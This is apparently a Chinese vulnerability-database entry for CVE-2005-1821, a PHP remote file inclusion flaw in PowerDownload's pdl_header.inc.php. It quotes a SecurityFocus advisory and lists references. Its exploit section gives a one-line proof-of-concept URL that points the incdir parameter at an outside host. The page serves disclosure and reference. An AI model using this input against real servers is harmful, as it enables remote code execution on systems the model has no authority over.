PowerDownload 'pdl_header.inc.php'脚本 PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108826 漏洞类型 输入验证
发布时间 2005-05-31 更新时间 2006-09-28
CVE编号 CVE-2005-1821 CNNVD-ID CNNVD-200506-012
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/25777
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200506-012
|漏洞详情
PowerDownload3.0.2及3.0.3版本中的pdl_header.inc.php脚本存在PHP远程文件包含漏洞,远程攻击者可通过注入到downloads.php中的incdir参数执行任意PHP代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/13822/info

PowerDownload is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/
|参考资料

来源:MISC
链接:http://www.soulblack.com.ar/repo/papers/advisory/powerdownload_advisory.txt
来源:BID
名称:13822
链接:http://www.securityfocus.com/bid/13822
来源:SECTRACK
名称:1014078
链接:http://securitytracker.com/id?1014078
来源:SECUNIA
名称:15537
链接:http://secunia.com/advisories/15537
来源:BUGTRAQ
名称:20050531PowerDownloadRemoteFileInclusion
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111755754126095&w=2